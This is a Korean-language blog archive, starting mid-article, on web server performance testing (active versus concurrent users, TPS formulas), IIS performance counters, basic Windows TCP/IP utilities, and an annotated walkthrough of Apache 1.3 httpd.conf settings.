상수) 로 표현할 수 있겠습니다. 근데, f(x)는 x-->+0(x가 +0을 갈때), f(x)-->0으로
수렴하며, x --> (+)infinity로 갈 때, f(x) --> 1(100%) 로 수렴하는 함수입니다.
10%가 맞아떨어지려면, x/(x+C) = 0.1(10%)를 만족하는 x 를 찾아보면 되는데,
x/(x+C) = 0.1
=> x = 0.1(x+C)
=> 0.9x = 0.1C
따라서, x = 1/9 x C, 즉, 평균응답시간이 ThinkTime의 꼭 1/9 일 때만, Active유저수가
동시단말사용자수의 10%가 된다는 얘기입니다.
"Active유저수는 동시단말사용자수의 10%이다"라는 말은, "평균응답시간이 ThinkTime의
1/9이다"와 완전히 의미를 같이합니다.

"10%"라는 지론이 누구로부터 시작되었는지는 모르지만, 웹어플리케이션서버기반으로
운영되고 있는 국내 사이트들에 대한 저의 경험으로는 동시단말사용자에 대한
Active유저의 비율은, 해당 사이트의 비즈니스적 특성, 응용어플리케이션 구현 특성에
따라 항상 달라지는 수치이며, 그 범위는 3%-30%에 이르기까지 너무나 다양한 형태로
도출되었습니다. 어떻게 믿을 수 있습니까? 주장컨데, "'10%설'은 죽었습니다."
[사족4: 왜 10%인 듯 한 경험적인 수치가 나왔을까요? ThinkTime은 대략 20-30초를 띠는
고정적인 상수값입니다. 20-30(sec)의 1/9는 2.2 - 3.3(sec)입니다. 아마, 경험하신
사이트의 어플리케이션 평균응답속도가 2.2 - 3.3 초 범위에 있었나보지요. 그런데
지금 테스트하려는 어플리케이션의 Virtual User증가에 따른 평균응답속도가 얼마인지
알고 10%가정을 할 수 있겠습니까?]
[사족5: 위 예에서 동시단말사용자가 500명이라면(ThinkTime 25초가정하에), Active유저는
몇명일까요? [수식6]에서,
Active유저수 = 500(명) x 2.5(sec)/{2.5(sec)+25(sec)} = 45명 이 됩니다.
이 수치는 동시단말사용자 500명일 당시의 평균응답시간을 알고 있기 때문에 구할 수
있습니다.]
6. 다음과제.
하나 이상의 응용어플리케이션을 테스트하는 경우는 다소 복잡한 이론 및 결과를
초래합니다. 핵심은 각 응용어플리케이션의 호출빈도의 서로간 비율을 정확히 산정해야
한다는 것입니다. 나름대로 연구한 [임계성능방정식]을 통해, 하나 이상의 응용
어플리케이션들이 실제 서비스를 할 경우, 몇명의 동시단말사용자수를 견디겠느냐와,
각각의 평균응답시간이 어떻게 될지를 판단하는 벤치마크테스트 방법에 관한 문서를
작성할 예정입니다.
-------------------------------------------------------
본 문서는 자유롭게 배포/복사 할 수 있으나 반드시
이 문서의 저자에 대한 언급을 삭제하시면 안됩니다
================================================
자바서비스넷 이원영
E-mail: javaservice@hanmail.net
PCS:011-898-7904
================================================

2009년 2월 12일 목요일

TPS 계산

TPS ( Transaction per second ) = ActiveUsers / Res. Time
= ConcurrentUsers/( Res. Time + Think Time )Then, ActiveUser = ConcurrentUsers * ( ResTime / ( ResTime + Think Time ) ) = ResTime * TPSTPS가 많다고 해서 그 사이트가 성능이 좋은것은 맞지만 이는 그 사이트의 애플리케이션과 응답시간, Active 유저와 Concurrent 유저 모두가 예상치와 들어맞아야 한다.

2009년 2월 11일 수요일

웹서버 운영시 모니터링 해야할 웹 응용 프로그램 성능 카운터

Active Server Pages:Requests Executing
이 카운터는 현재 실행 중인 요청의 수를 계산한다.
이 카운터는 응용 프로그램이 한 번에 하나의 요청을 효율적으로 실행하는지 여부를 나타낸다. 요청이 하나씩 실
행되면 알려지지 않은 원인으로 인해 요청이 serialization된다. 일반적으로 인터넷 서비스 관리자를 통해 ASP
디버깅을 설정하면 serialization이 발생한다.
자세한 내용과 코드 serialization의 예를 보려면 InProc 구성 요소(DLL)를 사용할 경우의 차단 문서를 참고한
다.
Active Server Pages:Requests Queued
이 카운터는 대기열에서 서비스를 기다리는 요청의 수를 측정한다.
이상적인 값은 0이다. 이 값이 계속 증가하면 ASP는 스레드를 차단하며, 대기열의 다른 요청을 처리할 수 있도록
스레드가 릴리스되지 않는다. 스트레스 상황에서 Requests Queued 값이 상당히 증가하면 프로세서 사용률은 비교
적 낮은상태를 유지하고 이것은 스크립트가 처리할 수 있는 것보다 많은 호출을 수신하는 COM 개체를 호출하고 있
다는 표시이다. 이 경우 COM 개체는 병목 현상을 발생시킨다. 이 경우 IIS가 만드는 프로세서당 최대 작업자 스
레드 수를 지정하는 ASPProcessorThreadMax 메타베이스 항목을 늘려야 한다.
ASPProcessorThreadMax 메타베이스 항목에 대한 자세한 내용은 ASPProcessorThreadMax를 조정하는 방법 문서
를 참고한다.
Active Server Pages: Sessions Total
이 카운터는 서비스가 시작된 후의 전체 세션 수를 측정한다. 특정 테스트 스크립트에 대해 만들어진 전체 세션
을 모니터링하는 경우 보다 정확한 측정을 위해 테스트 실행 전에 웹 서비스를 중지했다가 다시 시작하는 것이 좋
다. 스크립트가 실행 중인 경우 Sessions Total 값은 원하는 수준에 도달할 때까지 서서히 증가한다. Sessions
Total이 원하는 수준에 도달하지 않으면 웹 서비스를 중지했다가 다시 시작한 다음 다른 테스트를 실행할 수 있
다.
Web Service: CGI Requests/sec 및 ISAPI Extension Requests/Sec
이 카운터는 서버가 CGI 및 ISAPI 응용 프로그램 요청을 처리하는 속도를 측정한다.
로드가 증가하는 동안 이 값들이 감소하면 응용 프로그램 개발자들에게 코드를 확인하도록 지시할 수 있다.
Web Service: Get Requests/Sec 및 Post Requests/Sec
이 카운터는 서버에 두 가지 유형의 HTTP 요청이 수행되는 속도를 나타낸다.
POST 요청은 일반적으로 폼에 사용되며 ISAPI(ASP 포함) 또는 CGI로 전송된다. GET 요청은 POST 요청을 제외한
거의 모든 브라우저의 요청을 나타내고 정적 파일, ASP 및 기타 ISAPI 요청, CGI 요청 등을 포함한다. 이러한 카
운터는 사이트의 일반 로드 특성을 이해하는 데 많은 도움이 된다.

Windows 관리[서버 성능 평가]

널리 사용되는 TCT/IP 유틸리티

본 명령어들 은 도스명령어 로써 시작 -  실행 - command 후

도스창에서 실행해야합니다.

ipconfig - 본인 컴퓨터에 설정된 IP주소 , DNS주소 , gateway주소 확인 명령

Hostname - 시스템의 컴퓨터의 호스트 이름이 표시됩니다.

                   (쉽게 야그해서 컴퓨터 네트워크 name)

ping 명령어 - 특정호스트 의 정상적인 작동여부를 확인할 때 사용하는 명령어 .

예> ping 192.168.0.145 -t     << 특정 ip주소와의 ping 을 테스트

      ping yahoo.com -t <<특정 도메인과의 ping 을 테스트

      ping 127.0.0.1 -t << 본인 랜카드에서 컴퓨터로 ping 테스트 <일명: 루프 백 명령어>

      (-t 옵션은 화면갱신을 계속해 주기위한 필수옵션)

nbtstat - 특정 IP주소를 어느 사용자가 사용하는지 확인시 사용

             ( ip 충돌시 사용하면 용이)

예> 192.168.0.145 아이피 충돌시 ,

      nbtstats -a 192.168.0.145

      (-a 옵션은 충돌 ip 의 컴퓨터 이름을 표시해주는 필수옵션)

netstat - 특정 IP주소를 어떤 사용자가 접근중인지 확인시 사용

예> netstats -a

      (-a 옵션은 접근 컴퓨터의 이름을 표시해주는 필수옵션)     

tracert - 본인 컴퓨터에서 호스트 주소까지의 접근 경로를 확인시 사용

예> 야후 호스트 컴퓨터 까지의 접속경로를 확인하려면

      tracert yahoo.co.kr

**외부 인터넷 주소의 경우 naver.com 과 같은 특정 싸이트는 ping 관련해서 막아놯기에

   신호를 도로 주지 않기때문에 테스트 불가입니다

[출처] 널리 사용되는 TCP/IP 유틸리티|작성자 불늑

웹 서버 아파치 설정파일 정복 httpd.conf

웹 서버 아파치 설정파일 정복 httpd.conf

서버관련 설정파일
GUI 설정을 제공하지는 않지만, 일단 설정파일의 내용을 알고나면 아는 만큼 더욱 더 섬세한 서버의 조절이 가능하다.

1. 설정파일을 준비하자
일반적으로 아파치 서버의 설정작업은 다음의 세 파일을 다룬다.
httpd.conf
srm.conf
access.conf

이 설정파일은 /etc/httpd/conf 에서 미리 만들어 둔 파일을 복사해서 사용한다.
여기서 위의 파일명에 -dist 라고 끝나는 파일이 각각 있을 것이다. 이것을 위의 3파일로 복사해놓는다.

# This is the main server configuration file. See URL http://www.apache.org/
# for instructions.

이것은 메인 서버 설정 파일이다.(더 자세한) 소개를 위해서는 URL http://www.apache.org/ 를 보면된다.

# Do NOT simply read the instructions in here without understanding
# what they do, if you are unsure consult the online docs. You have been
# warned.

만약 온라인 설명문서들의 조언에대한 확신을 하지 못한다면, 이곳의 각 지시문들이 어떤 작업을 하는지에 대한 이해 없이 가볍게 읽지마라. 당신은 경고를 받은 것이다.

# Originally by Rob McCool

원본은 Rob McCool 에 의해서 만들어 졌다.

# Dynamic Shared Object (DSO) Support
#
동적 공유 객체 (DSO)지원
# To be able to use the functionality of a module which was built as a DSO you
# have to place corresponding `LoadModule' lines at this location so the
# directives contained in it are actually available _before_ they are used.
# Please read the file README.DSO in the Apache 1.3 distribution for more
# details about the DSO mechanism and run `httpd -l' for the list of already
# built-in (statically linked and thus always available) modules in your httpd
# binary.
#
당신이 DSO 로 만들어진 모듈의 기능을 사용하기 위해서는 이 파일의 'LoadModule'라인에 실제로 사용가능한 것을 지시하는 것을 사용되기 전에 (_before_, 이단어가 정확히 무엇을 의미하는지 아직 모르겠음) 포함해야 한다.더 많은 DSO 기능에 관한 것을 보려면 아파치 1.3 배포판의 README.DSO 를 읽고,
당신의 httpd 바이너리에 만들어진 (정적 링크되고 따라서 언제나 사용가능한)목록을 보기 위해서는 'httpd -l'이라고 실행하라

# Example:
# LoadModule foo_module libexec/mod_foo.so

LoadModule foo_module libexec/mod_foo.so

2. 나머지 설정
# ServerType is either inetd, or standalone.
ServerType,서버유형은 inetd 이거나 standalone 이다.

ServerType standalone

아파치 웹 서버를 실행시키는 방법에는 두 가지 방식이 있다.
하나는 일반 애플리케이션 처럼 명령라인에서 httpd 를 실행하는 것이고,
다른 하나는 inetd 슈퍼 서버에 의해 간접적으로 실행되도록 하는 방법이다.

수많은 네트웍 서버들을 매번 항상 띄워놓는 것은 자원의 낭비를 뜻하므로 많은 서비스들이 inetd 에 의해 관리되는데, 웹 서버는 독립적으로 실행되는 경우가 많다.
이유는 실행 요청이 잦기 때문에 빠른 요청을 위해서이다.

만약 inetd 방식을 사용할려면, ServerType 을 inetd 라고 적어주는 것과 동시에 두가지 작업이 더 필요하다.
우선 /etc/services 파일에 다음 줄이 있는지 확인한다.
http 80/tcp
# cat /etc/services | grep http 라고 하면 쉽게 확인할 수 있다.
이것은 http 프로토콜에 대해서 80번 포트를 사용한다는 것을 명시하고 있다.
만약 다른 포트를 사용한다면? 변경하면 된다. ^^;

그리고 다음으로 /etc/inetd.conf 파일에
http stream tcp nowait root /usr/sbin/httpd -f /etc/httpd/conf/httpd.conf
라는 라인을 적어 주어야 한다.

항상 그렇듯이 이렇게 inetd.conf 설정 파일을 바꾸고 나면 indtd 를 다시 실행시켜야 한다.
# killall -HUP inetd
래드햇에서는
# /etc/rc.d/init.d/inetd stop
# /etc/rc.d/init.d/inetd start
또한 5.0 이상에서는 restart 옵션도 지원한다.

X 윈도우 에서는 실행레벨편집기 (Lun-Level Editor)에서 inetd 스크립트를 선택하고 Stop/Start 를 시켜준다.
속도를 고려하면 standalone 를 보안에 좀더 치중한다면 inetd 를 사용한다.

# If you are running from inetd, go to "ServerAdmin".
해석 : 만약 당신이 inetd 를 실행한다면 "ServerAdmin" 으로 가라

# Port: The port the standalone listens to. For ports < 1023, you will
# need httpd to be run as root initially.
해석 : 포트 독립실행이 듣는다.(?)
1023 보다 작은 값의 포트를 사용하기 위해서는 처음에 루트로서 httpd 를 실행시켜야 한다.

Port 80

웹서버는 일반적으로 80번을 사용한다.
이말은 다른 포트를 사용할 수 있다는 것을 뜻하기도 한다.
0~1023번 포트는 시스템에서 사용하는 번호로서 root 사용자 이외는 사용할 수 없다.
많은 곳에서 8080 을 사용하는 것을 볼 수 있는데, 이것은 그냥 외우기 쉽기 때문이다.

예) http://www.foo.org:8080

또한 포트 번호가 중복되지만 않는다면 여러 개의 웹서버를 실행시킬 수도 있다. 학습을 위해 아파치, NCSA, CERN, Java로된 웹서버 등을 한꺼번에 실행시킬 수 있다.
또한 외부공개 웹서버와 내부 웹서버를 따로 두는 것도 가능하다.

# HostnameLookups: Log the names of clients or just their IP numbers
# e.g. www.apache.org (on) or 204.62.129.132 (off)
# The default is off because it'd be overall better for the net if people
# had to knowingly turn this feature on.
해석 : HostnameLookups: 이름으로 또는 IP 번호로 클라이언트 로그를 작성할 것을 결정한다.
디폴트는 off 인데, 이유는 전반적인 네트웍에서 더 낫다(DNS사용안하기 때문). 만약 사람들이 알아들을 수 있을려면 이 것을 on 하라.

HostnameLookups off

이것은 on 하면 로그를 www.apache.org 처럼 이름으로 적고,
반대로 off 하게 되면 IP 주소로 표기한다. on의 경우에는 DNS 주소찾기를 하므로 약간의 네트워크 부하가 증가한다.
통계를 위해서는 off 를 권장하고 있다.

# If you wish httpd to run as a different user or group, you must run
# httpd as root initially and it will switch.
해석 : 만약 httpd 를 다른 그룹/사용자로서 운영하기를 바란다면,
당신은 반드시 처음에 루트로 시작해서 httpd 를 실행하고 이것을 전환해야 한다.

# User/Group: The name (or #number) of the user/group to run httpd as.
# On SCO (ODT 3) use User nouser and Group nogroup
# On HPUX you may not be able to use shared memory as nobody, and the
# suggested workaround is to create a user www and use that user.
# NOTE that some kernels refuse to setgid(Group) or semctl(IPC_SET)
# when the value of (unsigned)Group is above 60000;
# don't use Group #-1 on these systems!
해석 : User/Group: http를 운영하는 User/Group 이름 또는 번호이다.
SCO(ODT 3) 에서는 User nouser 와 Group nogroup 를 사용.
HPUX 에서는 nobody 로서는 공유메모리를 사용할 수 없다, 그래서 제안된 작업이 유저 www 를 만들고 그것을 사용한다.
주의 : 어떤 커널은 Group 의 값이 60000 이상일때 setgid(Group) 또는 semctl(IPC_SET)를 거절한다.
그러한 시스템에서는 Group 값을 #-1 을 사용하지 마라

User nobody
Group #-1

웹서버는 어떤 서버보다도 많은 일을 한다.
또한 자체적으로 CGI 를 실행시키기도 하고, 데이터베이스와도 연계를 가지는 등 막강한 기능을 행사하기 때문에 만약에 누군가에게 뚤린다면 보안상의 큰 문제가 된다.
이러한 사태를 막는 한가지 방법으로 시스템에서 거의 아무런 권한도 가지지 못하는 nobody 사용자, nobody 그룹의 권한으로 프로세스의 주인을 바꾸는 것을 생각해 볼 수 있다.
어떤 프로세스가 root 의 권한을 갖는 것은 매우 위험한 일이다.
root 가 소유하는 프로세스에서 어떤 스크립트를 부르면 그것은 root 의 권한에서 실행되기 때문에 사실상 모든 일을 할 수 있다.(중요한 사실이죠..)
나중에 ps 로 확인해 보면 httpd 에 의해 생성된 복제 httpd 프로세스들이 모두 nobody/nobody 의 사용자/그룹의 소유임을 알 수 있을 것이다.

실행되는 CGI 의 사용자/그룹이 이 설정을 따른다. 일부 사이트에서는 다양한 소유권을 가지고 CGI 를 실행해야 할 필요가 있는데, 이 기능을 SUEXE 라고 한다.
아래를 참고하라. http://www.apache.org/docs/suexec.html

# ServerAdmin: Your address, where problems with the server should be
# e-mailed.
해석 : ServerAdmin : 시스템에 문제가 생겼을 경우 e-mail 을 보내야할 당신의 주소

ServerAdmin iloveu@net-in.co.kr

여러 서버를 운영하는 관리자라면 한 곳으로 메일을 집중시키고자 할 것이다.

# ServerRoot: The directory the server's config, error, and log files
# are kept in.
해석 : ServerRoot : 서버의 설정, 에러, 로그 등의파일이 보관될 디렉토리

# NOTE! If you intend to place this on a NFS (or otherwise network)
# mounted filesystem then please read the LockFile documentation,
# you will save yourself a lot of trouble.
해석 : 주의 만약 NFS 또는 다른 네트웍 파일 시스템에 이것을 두려면 LockFile 문서를 읽어라.
많은 문제를 덜 수 있을 것이다.

ServerRoot /etc/httpd

우리는 앞서 웹서버의 설정, 에러, 그리고 각종 로그 파일이 보관될 디렉토리를 /etc/httpd 로 설정하였다.
레드햇 리눅스에서 logs 는 /var/log/httpd 에 대한 링크이다.

# BindAddress: You can support virtual hosts with this option. This option
# is used to tell the server which IP address to listen to. It can either
# contain "*", an IP address, or a fully qualified Internet domain name.
# See also the VirtualHost directive.
해석 : BindAddress : 이 옵션으로 가상호스트를 지원할 수 있다.
이 옵션은 서버에게 어떤 IP 주소를 받아야 할지(listen to) 알려준다.
이것은 와일드카드 * 나 IP 주소를 적거나, 또는 FQDNdmf 을 적을 수 있다.

#BindAddress *

# ErrorLog: The location of the error log file. If this does not start
# with /, ServerRoot is prepended to it.
해석 : ErrorLog : 에러로그 파일의 위치이다.
만약 이것을 / 문자로 시작하지 않는다면 , ServerRoot의 값이 앞에 붙는다.

ErrorLog logs/error_log

웹 서버의 진행 상황을 알기 위해, 그리고 각종 통계를 위해 Log 파일을 작성한다.
이것은 위에서 설정한 ServerRoot 를 기준으로 한다.
ErrorLog 는 웹서버의 에러상황,
TransferLog 는 전송상황,
RefererLog, AgentLog 는 각각 웹 서비스 요청을 한 사용자, 브라우저에 대한 기록을 한다.

# LogLevel: Control the number of messages logged to the error_log.
# Possible values include: debug, info, notice, warn, error, crit,
# alert, emerg.
해석 : LogLevel : Error_log 의 메세지 숫자를 조절한다.
사용가능한 값은 다음을 포함한다 : debug, info, notice, warn, error, crit, alert, emerg

LogLevel warn

# The following directives define some format nicknames for use with
# a CustomLog directive (see below).
해석 : 다음에서 가리키는 것은 CustomLog 가 지시하는 것을 사용하는 몇 별칭의 형식이다.
LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined
LogFormat "%h %l %u %t \"%r\" %>s %b" common
LogFormat "%{Referer}i -> %U" referer
LogFormat "%{User-agent}i" agent

# The location of the access logfile (Common Logfile Format).
# If this does not start with /, ServerRoot is prepended to it.
해석: access log 파일의 위치이다. (일반 로그 형식)

CustomLog logs/access_log common

# If you would like to have an agent and referer logfile uncomment the
# following directives.
해석: 만일 agent 그리고 referer 로그 파일을 사용할려면 주석을 지워라

#CustomLog logs/referer_log referer
#CustomLog logs/agent_log agent

# If you prefer a single logfile with access, agent and referer information
# (Combined Logfile Format) you can use the following directive.
해석 : 만일 단일 로그파일을 선호한다면. 다음의 것을 사용해라

#CustomLog logs/access_log combined

# PidFile: The file the server should log its pid to
해석: PidFile : 서버가 자신의 Pid 를 기록하는 파일이다.
PidFile logs/run/httpd.pid

작동중인 httpd 프로세스의 PID를 기록해 둘 파일을 정한다.
웹서버 작동중 웨 서버 관련 설정을 바꾸고 나서 종료시키지 않은 채 새로운 설정을 읽어들이도록 SIGUP 시그널을 보낼때 잠고할 수 있는 프로세스 ID 를 저장하는 파일이다.
kill -HUP 'cat /var/run/httpd'

# ScoreBoardFile: File used to store internal server process information.
# Not all architectures require this. But if yours does (you'll know because
# this file is created when you run Apache) then you *must* ensure that
# no two invocations of Apache share the same scoreboard file.
해석: ScoreBoardFile : 웹서버 프로세서 내부의 상황을 기록해 두는 파일이다.
모든 아키텍쳐에서 요구되는 것은 아니다.

ScoreBoardFile /var/run/apache_runtime_status
웹 서버의 내부 진행 상황에 대한 정보를 기록해 두는 파일이다.

# The LockFile directive sets the path to the lockfile used when Apache
# is compiled with either USE_FCNTL_SERIALIZED_ACCEPT or
# USE_FLOCK_SERIALIZED_ACCEPT. This directive should normally be left at
# its default value. The main reason for changing it is if the logs
# directory is NFS mounted, since the lockfile MUST BE STORED ON A LOCAL
# DISK. The PID of the main server process is automatically appended to
# the filename.
#
#LockFile logs/accept.lock

# ServerName allows you to set a host name which is sent back to clients for
# your server if it's different than the one the program would get (i.e. use
# "www" instead of the host's real name).
#
# Note: You cannot just invent host names and hope they work. The name you
# define here must be a valid DNS name for your host. If you don't understand
# this, ask your network administrator.

#ServerName new.host.name

클라이언트가 여러분의 서버명을 원할때 보내 줄 서버의 호스트명을 정의할 수 있다.
예를 들어 여러분의 호스트 명 대신에 www 라는 이름을 보내줄때 사용한다.
하지만 DNS 에 등록되지 않은 것을 아무렇게나 만들어서 사용할 수는 없다.

# UseCanonicalName: (new for 1.3) With this setting turned on, whenever
# Apache needs to construct a self-referencing URL (a url that refers back
# to the server the response is coming from) it will use ServerName and
# Port to form a "canonical" name. With this setting off, Apache will
# use the hostname:port that the client supplied, when possible. This
# also affects SERVER_NAME and SERVER_PORT in CGIs.
해석 : UseCanonicalName (1.3에 추가) 이 세팅을 on 으로 해놓으면,
아파치가 자신참조를 URL 언제 만들던지, ServerName 과 포트 를 "canonical" 이름 폼에 사용한다.
이 옵션을 off 라고 해놓으면 아파치는 클라이언트가 보내는 호스트네임:포트 를 사용한다.
이것은 CGI 의 SERVER_NAME 와 SERVER_PORT 에도 영향을 미친다.
UseCanonicalName on

# CacheNegotiatedDocs: By default, Apache sends Pragma: no-cache with each
# document that was negotiated on the basis of content. This asks proxy
# servers not to cache the document. Uncommenting the following line disables
# this behavior, and proxies will be allowed to cache the documents.

#CacheNegotiatedDocs

# Timeout: The number of seconds before receives and sends time out

Timeout 300

클라이언트에게 타임아웃 신호를 보낼때 까지 참고 기다리는 시간을 초로 지정한다.

# KeepAlive: Whether or not to allow persistent connections (more than
# one request per connection). Set to "Off" to deactivate.
해석 : KeepAlive: 지속적인 연결을 설정한것인지의 여부이다.

KeepAlive On

# MaxKeepAliveRequests: The maximum number of requests to allow
# during a persistent connection. Set to 0 to allow an unlimited amount.
# We reccomend you leave this number high, for maximum performance.

MaxKeepAliveRequests 100

# KeepAliveTimeout: Number of seconds to wait for the next request

KeepAliveTimeout 15

# Server-pool size regulation. Rather than making you guess how many
# server processes you need, Apache dynamically adapts to the load it
# sees --- that is, it tries to maintain enough server processes to
# handle the current load, plus a few spare servers to handle transient
# load spikes (e.g., multiple simultaneous requests from a single
# Netscape browser).

# It does this by periodically checking how many servers are waiting
# for a request. If there are fewer than MinSpareServers, it creates
# a new spare. If there are more than MaxSpareServers, some of the
# spares die off. These values are probably OK for most sites ---

MinSpareServers 5
MaxSpareServers 10

아파치 서버는 클라이언트로부터의 요청 쇄도에 따라 적절하게 서버 프로세스를 자동으로 생성한다.
현재 요청 건수에 따라 서버를 생성하고, 브라우저가 한서버에 대해서 동시에 여러요청을 하는 것도 가능하므로 여분의 서버를 더 만들어 두기도 한다.

아파치 프로세스는 정기적으로 서버 프로세스의 숫자를 점검한다. 만약 MinSparseServers 값으로 지정한 값보다 적은 경우, 프로세스를 더 만들어 유지하고 MaxSparseServers 이상인 경우 여분의 프로세스는 종료한다.

# Number of servers to start --- should be a reasonable ballpark figure.

StartServers 5

처음 httpd 가 작동할 때 몇개의 프로세스를 생성할 것인지는 StartServers 값으로 조정한다.

# Limit on total number of servers running, i.e., limit on the number
# of clients who can simultaneously connect --- if this limit is ever
# reached, clients will be LOCKED OUT, so it should NOT BE SET TOO LOW.
# It is intended mainly as a brake to keep a runaway server from taking
# Unix with it as it spirals down...

MaxClients 150

아파치 서버가 동시에 처리할 클라이언트의 요청 건수를 제한한다.

# MaxRequestsPerChild: the number of requests each child process is
# allowed to process before the child dies.
# The child will exit so as to avoid problems after prolonged use when
# Apache (and maybe the libraries it uses) leak. On most systems, this
# isn't really needed, but a few (such as Solaris) do have notable leaks
# in the libraries.

MaxRequestsPerChild 30

하나의 웹 서버 Child 프로세스는 MaxRequestPerChild 값에서 지정한 만큼의 횟수만 서비스하고, 자동으로 소멸하고 새로운 프로세스가 생성된다.
이유는 오랫동안 서버를 운영하면서 메모리를 계속 소모하는 일이 벌어지는 것을 방지하기 위해서이다.
라이브러리의 결함으로 인해 솔라리스와 같은 환경에서 주로 일어난다고 한다.

# Proxy Server directives. Uncomment the following line to
# enable the proxy server:

#ProxyRequests On

프록시 서버로서의 기능을 사용하려면 앞에 붙은 주석 표시를 지우면 된다.
나중에 프록시 서버로 다시 다루게 된다.

# To enable the cache as well, edit and uncomment the following lines:

#CacheRoot @@ServerRoot@@/proxy
#CacheSize 5
#CacheGcInterval 4
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
#NoCache a_domain.com another_domain.edu joes.garage_sale.com

# Listen: Allows you to bind Apache to specific IP addresses and/or
# ports, in addition to the default. See also the VirtualHost command

#Listen 3000
#Listen 12.34.56.78:80

# VirtualHost: Allows the daemon to respond to requests for more than one
# server address, if your server machine is configured to accept IP packets
# for multiple addresses. This can be accomplished with the ifconfig
# alias flag, or through kernel patches like VIF.

# Any httpd.conf or srm.conf directive may go into a VirtualHost command.
# See also the BindAddress entry.

#
#ServerAdmin webmaster@host.some_domain.com
#DocumentRoot /www/docs/host.some_domain.com
#ServerName host.some_domain.com
#ErrorLog logs/host.some_domain.com-error_log
#TransferLog logs/host.some_domain.com-access_log
#

그외 아파치 웹서버에 필요한 사항들
httpd - srm - access - order

1. 암호파일 만들기
아파치 서버에서 기본적으로 제공하고 있는 htpasswd 라는 명령으로 AuthUserFile 에서 지정하는 사용자/패스워드 파일을 만들어 낼 수 있다.
# htpasswd [-c] <사용자 데이터 베이스> <추가할 사용자명>

예) # htpasswd -c /etc/httpd/conf/.htpasswd admin
# htpasswd /etc/httpd/conf/.htpasswd linuxer

맨처음 사용자 데이터 베이스를 만들면서 추가 할때는 Create 를 의미하는 -c 를 주어야 한다.
만약 파일이 존재하는데 -c 를 사용하면 기존의 파일은 무사하지 못하다.
참고로 리눅스 시스템 자체의 /etc/passwd 와는 아무런 관계가 없다.

만들어진 파일은 /etc/passwd 에서 사용자명:패스워드 만 있는 경우이다.
패스워드 부분이 비어있으면? 패스워드 없이 로그인이 가능하다.

그룹파일(.htgroup)을 만드는 것도 간단하다.

admin: yong moon
superman: youn
즉 : 을 경계로 해서 앞에 그룹명을 적어주고, 뒤에 멤버들을 계속 적어나간다.

개선이 많은 암호화 프로그램이다.

2. MIME 파일
MIME 는 Multipurpose Internet Mail Extensions 의 약자로서 웹 서버와 웹 브라우저 사이에 오가는 자료가 어떤 형태의 자료인지를 지칭하기 위해 사용된다.

웹서버는 특정유형의 자료에 대하여 웹브라우저에게 전송할 때 Content-Type: 헤더를 적어서 보낸다. 만약 text/html 이라는 값이면 이것은 이미 브라우저는 일반 텍스트 파일인줄 알고 적절하게 표시한다.
마찬가지로 video/mpeg 라면 상황에 따라서 브라우저는 행동 할 것이다.

일반적으로 MIME 유형을 등록하는 mime.types 설정 파일은 거의 손볼 필요가 없다.
지금 현재 MIME 충분히 기본값을 넣어서 제공하고 있기 때문이다.
만약이라도 어떻값을 추가할 필요가 있을때는 mime.types 를 수정하지 말고 거의 손볼 필요가 없다.
혹시라도 어떤값을 추가할 필요가 있을때는 srm.conf 파일에 AddType 지시자로 추가한다.

예를 들어보면,
audio/mpeg mpga mp2
MPEG 오디오 파일에 대한 MIME 설정이 이미 들어있다. 그런데 요즘 mp3라는 고압축 기법이 이기를 끌고 있다.

그럴때는
AddType audio/mpeg mpga mp2 mp3

3. 로그파일 들여다 보기
래드햇에서는 아파치 서버의 활동 기록상황은 /etc/httpd/logs 가 가리키고 있는 /var/log/httpd 디렉토리에 들어있는 파일을 통해 이루어진다.

우선 access_log 는 웹서버가 어떤 파일을 읽어 클라이언트에게 전달 했는지 보여준다.

사용자가 어떤 브라우저를 통해 웹서버에 접속했는지는 agent_log 에 들어있다.

에러 상황을 상세하게 기록해 두는 중요한 파일은 바로 error_log 이다.

각 페이지들이 어떻게 무엇을 참조했는지 장황하게 알아볼 수 있는 파일은 referer_log 이다.

이러한 로그 파일을 사용해서 로그 파일 분석 프로그램으로 도표를 작성하는 것도 가능하다.

4. 실시간 웹 서버 상황 살펴보기
아파치의 상태모듈(Status Module, mod_status)를 통해 서버 관리자는 자신의 서버가 어떻게 돌아가고 있는지 즉시 확인 할 수 있다.

access.conf 의 파일에서 다음 부분을 설정해주면 된다.

SetHandler server-status

order deny,allow
deny form all
allow from your_admin_host

이제 넷스케이프 등으로 http://your.server.name/status

만약 수동으로 다시 로딩하지 않고도 자동으로 페이지가 갱신되도록 하기 위해서는
http://your.server.name/status?refresh=N (여기서 N은 갱신 주리를 초로 나타낸 것이다.)

5. 아파치의 Proxy 프록시 기능
프록시란 Proxy 뜻 그대로 무엇인가를 대리로 해주는 것을 말한다. 프록시의 용도중 하나는 똑같은 자료를 여러명이 접근함으로써 발생하는 네트웍 교통량의 낭비를 막는 것이다.

프록시는 빈번하게 접근되는 자료를 캐시(cache)해 두고 나서 똑같은 자료를 요청하는 경우, 즉시 하드 디스크에서 내용을 읽어 전달해 준다.

또 다른 용도로는 보안이 중요시되는 환경에서 방화벽이 설치되어 있을때 방화벽에 의해 직접적으로 외부와 교신할 수 없는 네트웍 클라이언트에 대해서 외부세계와 안전한 다리 역할을 해주는 것이다.

가장 흔하게는 넷스케이프 브라우저에서 프록시 기능을 사용할 수 있다.

프록시 서버 기능 사용 여부와 세부 설정은 http.conf 에서 한다.
참고로 1.1대의 프록시 서버는 버그가 있기 때문에 1.2 이상을 사용하길 바란다.

프록시 서버 기능을 사용하려면 다음 줄의 주석을 없앤다.
#ProxyRequests On
프록시 요청을 받아들일지 여부를 설정한다.

# To enable the cache as well, edit and uncomment the following lines:
캐시 기능을 사용하려면 다음 줄의 주석 처리를 없애고 적절하게 편집한다.

#CacheRoot @@ServerRoot@@/proxy
프록시 기능과 함께 빈번하게 요청되는 자료를 캐시하여 일정시간 이내에 똑같은 자료를 요청할 때는 외부로 나가지않고 직접 캐시된 내용을 하드 디스크에서 읽어 전달하고자 할 때 사용한다.
#CacheSize 5
캐스크기를 KB 단위로 적는다.
#CacheGcInterval 4
캐시 청소 주기. 시간을 적는다. 주어진 시간마다 CacheSize 를 넘는 캐시를 지워준다.
#CacheMaxExpire 24
#CacheLastModifiedFactor 0.1
#CacheDefaultExpire 1
#NoCache a_domain.com another_domain.edu joes.garage_sale.com

클라이언트 설정
흔히 쓰이는 브라우저에 프록시 설정 부분이 있다.

